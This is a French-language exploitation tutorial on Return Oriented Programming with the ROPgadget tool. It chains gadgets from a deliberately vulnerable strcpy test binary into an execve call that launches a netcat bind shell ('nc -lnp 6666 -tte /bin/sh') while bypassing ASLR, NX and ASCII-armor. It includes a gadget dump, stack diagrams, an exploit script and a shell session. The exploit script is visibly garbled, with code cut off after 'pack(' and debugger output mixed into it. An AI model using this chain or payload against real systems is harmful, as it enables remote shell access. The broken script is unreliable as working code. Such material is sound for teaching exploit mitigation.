Title: How to make backdoor with Return Oriented Programming & ROPgadget tool ? Language: French Author: Jonathan Salwan Date 2011-04-13 I - Introduction ----------------- Depuis quelques années, l'exploitation des failles applicatives, en particulier des déborde- ments de tampons, est rendue de plus en plus difficile par les protections mises en place par les systèmes d'exploitation. En particulier, il est de plus en plus rare de pouvoir exécuter du code arbitraire sur la pile. Il existe des techniques permettant de contourner NX mais ces dernières sont inutiles si les fonctions de la libc sont protegées par l'ASCII-ARMOR. Cependant, il existe une technique d'attaque qui permet de passer outre toutes ces protections. Cette technique s'appelle le ROP (Return Oriented Programming). Ce type d'attaque qui est extrêmement "lourde" à réaliser, consite à enchaîner des suites d'instructions qu'on nomment "gadget" pour pouvoir modifier l'état des registres et exécuter un appel système ou l'exécution d'une autre fonction. Généralement, le ROP est utilisé pour faire appel à execve() mais ici, dans notre cas, nous allons essayer de constituer un execve de ce type: #include #include int main() { char *env[1] = {NULL}; char *arguments[7]= { "/usr/bin//nc", "-lnp", "6666", "-tte", "/bin//sh", NULL }; execve("/usr/bin/nc", arguments, env); } Tout d'abord, pour pouvoir reproduire l'appel system execve() nous devons connaître sa convention. On est sur un système Linux x86 32 bits: ---------------------------------------- jonathan@ArchLinux [/] $ cat /usr/include/asm/unistd_32.h | grep execve #define __NR_execve 11 jonathan@ArchLinux [/] $ EAX = 11 EBX = "/usr/bin/nc" (char *) ECX = arguments (char **) EDX = env (char **) II - Comment faire pour trouver des gadgets ? --------------------------------------------- C'est ici que notre tool rentre en jeux. ROPgadget est un tool permettant de trouver des gadgets potentiellement utilisables pour faire du ROP, vous pouvez aussi rajouter vos propres gadgets. ROPgadget est disponible à cette adresse http://www.shell-storm.org/project/ROPgadget/ Prenons comme exemple le fameux binaire que tout le monde utilise pour faire ses tests. Ici, le binaire sera compilé en static pour pouvoir avoir un grande plage de gadgets. #include int main(int argc, char **argv) { char buff[32]; if (argc >= 2) strcpy(buff, argv[1]); return (0); } Utilisons maintenant ROPgadget pour connaître les adresses de nos gadgets. jonathan@ArchLinux [rop] $ ROPgadget -g main Header informations ============================================================ phoff 0x00000034 shoff 0x0007de7c phnum 0x00000005 (5) shnum 0x0000001a (26) phentsize 0x00000020 shstrndx 0x00000017 entry 0x08048130 LOAD vaddr 0x08048000 LOAD offset 0x00000000 Gadgets informations ============================================================ 0x080481c7: pop %ebx | pop %ebp | ret 0x080481c8: pop %ebp | ret 0x08048224: call *%eax 0x0804847e: mov %ebp,%esp | pop %ebp | ret 0x0804868f: int $0x80 0x0804874b: pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08048b43: mov %edx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08049241: pop %ebx | pop %esi | pop %ebp | ret 0x0804a26b: mov %edi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804b6a5: mov %esi,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804c7ab: xor %eax,%eax | pop %ebx | pop %ebp | ret 0x0804d00e: xor %eax,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804dafd: mov %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0804f1e9: xor %eax,%eax | pop %ebx | ret 0x0804f70c: inc %eax | pop %edi | ret 0x080505b8: pop %esi | pop %ebx | pop %edx | ret 0x080505e0: pop %edx | pop %ecx | pop %ebx | ret 0x08056e94: xor %eax,%eax | leave | ret 0x08057dc0: mov %ecx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x08057e91: mov %ebx,%eax | pop %ebx | pop %esi | pop %ebp | ret 0x080632a8: mov %ecx,(%ebx) | add $0x8,%esp | pop %ebx | pop %esi | pop %ebp | ret 0x080635d5: mov %ecx,(%edx) | add $0x8,%esp | pop %ebx | pop %ebp | ret 0x080636ef: add %ebx,%eax | pop %ebx | pop %ebp | ret 0x08064c51: xor %eax,%eax | mov %esp, %ebp | pop %ebp | ret 0x08066a1d: mov %ebx,%eax | pop %ebx | pop %ebp | ret 0x08068f82: mov %eax,(%ecx) | pop %ebp | ret 0x08069cda: xor %eax,%eax | pop %edi | ret 0x08069d24: xor %eax,%eax | ret 0x08069fa6: sub %ebx,%eax | pop %ebx | pop %esi | pop %edi | pop %ebp | ret 0x0806a8e7: mov %eax,%edi | mov %edi, %eax | pop %edi | pop %ebp | ret 0x0806ad27: inc %eax | pop %edi | pop %esi | ret 0x0806adcd: inc %eax | inc %eax | inc %eax | ret 0x0806adce: inc %eax | inc %eax | ret 0x0806adcf: inc %eax | ret 0x0806fd96: mov (%edx),%eax | mov (%esp), %ebx | mov %ebp,%esp | pop %ebp | ret 0x08079531: mov %eax,(%edx) | ret 0x08084c91: sub $0x1,%eax | pop %ebx | pop %esi | pop %ebp | ret 0x080850b8: mov %eax,(%edi) | pop %eax | pop %ebx | pop %esi | pop %edi | ret 0x080850ba: pop %eax | pop %ebx | pop %esi | pop %edi | ret 0x080850c1: mov %ebx,(%edi) | pop %ebx | pop %esi | pop %edi | ret 0x080a71ac: pop %ecx | pop %ebx | leave | ret Total gadgets: 42/46 jonathan@ArchLinux [rop] $ Comme vous pouvez le remarquer, ces gadgets sont situés dans la section .text d'un binaire ELF et donc ne sont pas influençables par l'ASLR ni NX. Nous n'avons, bien sûr, pas besoin de tous ces gadgets, seulement 6 ou 7 nous seront utiles. Nous aurons besoin de: - @.data (l'@ de la section .data pour placer des données) - int $0x80 (pour pouvoir exécuter notre payload) - mov %eax,(%ecx) | pop %ebp | ret (pour placer eax dans un buffer) - inc %eax | ret (pour incrémenter eax jusqu'à 11) - pop %edx | pop %ecx | pop %ebx | ret (pour poper des adresses) - pop %eax | pop %ebx | pop %esi | pop %edi | ret (ici juste le pop %eax nous sera utile) - xor %eax,%eax | ret (pour mettre eax à zero) III - Schéma d'exploitation et fonctionnement du ROP ---------------------------------------------------- Imaginons les gadgets suivants: - xor %eax,%eax; ret 0x08041111 - inc %eax; ret 0x08042222 - pop %ebx; pop %ecx; ret 0x08043333 Avant le débordement de tampon l'état de vos registres sont les suivants: %eax 0xbfffff53 %ebx 0x080482a3 %ecx 0x13 L'objectif est de mettre l'état des registres suivants: %eax 0x4 %ebx 0x41424344 %ecx 0x44434241 Votre payload est le suivant: [NOP X size][SEBP][SEIP] [0x90 xsize][0x41414141][0x08041111][0x08042222][0x08042222] [0x08042222][0x08042222][0x08043333][0x41424344][0x44434241] STACK +---------+ 0xbfffe51c: 0x08048d70 0xbfffe530 0xbfffe9a2 0x00000000 0xbfffe52c: 0x00000000 0x63756f74 0x616c2068 0x69767473 +------- Adresse de votre tableau (tab[0]) v 0xbfffe53c: 0x5f746973 0x90909020 0x90909090 0x90909090 0xbfffe54c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe55c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe56c: 0x90909090 0x90909090 0x90909090 0x90909090 +----------+ | .text + +----------+ +----------------------1--------------->|0x08041111| xor %eax,%eax | +------------2---------------<|0x08041113| ret | | |..........| | | +---------------1--------->|0x08042222| inc %eax | | | +-----2---------<|0x08042223| ret | | | | |..........| Saved ebp ----+ | | | | v ^ v ^ v 0xbfffe57c: 0x90909090 0x08041111 0x08042222 0x08042222 0xbfffe58c: 0x08042222 0x08042222 +----------+ | .text + +----------+ +--------------------------------------------1------>|0x08043333| | +-------------------------------2------<|0x08043333| pop %ebx | | +------------------3------<|0x08043334| pop %ecx | | | +------4------<|0x08043335| ret | P P | |..........| | O O | | P P | | | | | ^ v v v 0xbfffe594: 0x08043333 0x41424344 0x44434241 Tout le schéma ci-dessus est un exemple à titre démonstratif. Passons à l'exploit pour le binaire "main": #!/usr/bin/env python2 from struct import pack EDAX0 = pack(": "/usr/bin//nc" # 0x80c696e <_IO_wide_data_1+14>: "-lnp" # 0x80c6973 <_IO_wide_data_1+19>: "6666" # 0x80c6978 <_IO_wide_data_1+24>: "-tte" # 0x80c697d <_IO_wide_data_1+29>: "/bin//sh" # 0x80c6986 <_IO_wide_data_1+38>: "" # buff += POPALL buff += DUMMY # padding (pas d'importance) buff += pack(": "/usr/bin//nc" 0x80c696e <_IO_wide_data_1+14>: "-lnp" 0x80c6973 <_IO_wide_data_1+19>: "6666" 0x80c6978 <_IO_wide_data_1+24>: "-tte" 0x80c697d <_IO_wide_data_1+29>: "/bin//sh" 0x80c6986 <_IO_wide_data_1+38>: "" 0x80c699d <_IO_wide_data_1+61>: 0x080c6961 0x80c69a1 <_IO_wide_data_1+65>: 0x080c696e 0x80c69a5 <_IO_wide_data_1+69>: 0x080c6973 0x80c69a9 <_IO_wide_data_1+73>: 0x080c6978 0x80c69ad <_IO_wide_data_1+77>: 0x080c697d 0x80c69b1 <_IO_wide_data_1+81>: 0x00000000 jonathan@ArchLinux [rop] $ ./main $(./exploit.py) jonathan@ArchLinux [/] $ netcat 127.0.0.1 6666 ls exploit.py main main.c Et voila, l'exploit bypasse l'ASLR, NX et l'ASCII-ARMOR et attend une connexion. Le ROP est extrêmement puissant et stable, mais comme vous avez pu le constater, il est aussi assez lourd à mettre en place. IV - Références --------------- [x] - http://www.shell-storm.org [1] - http://www.shell-storm.org/project/ROPgadget/ [2] - http://www.shell-storm.org/papers/files/725.pdf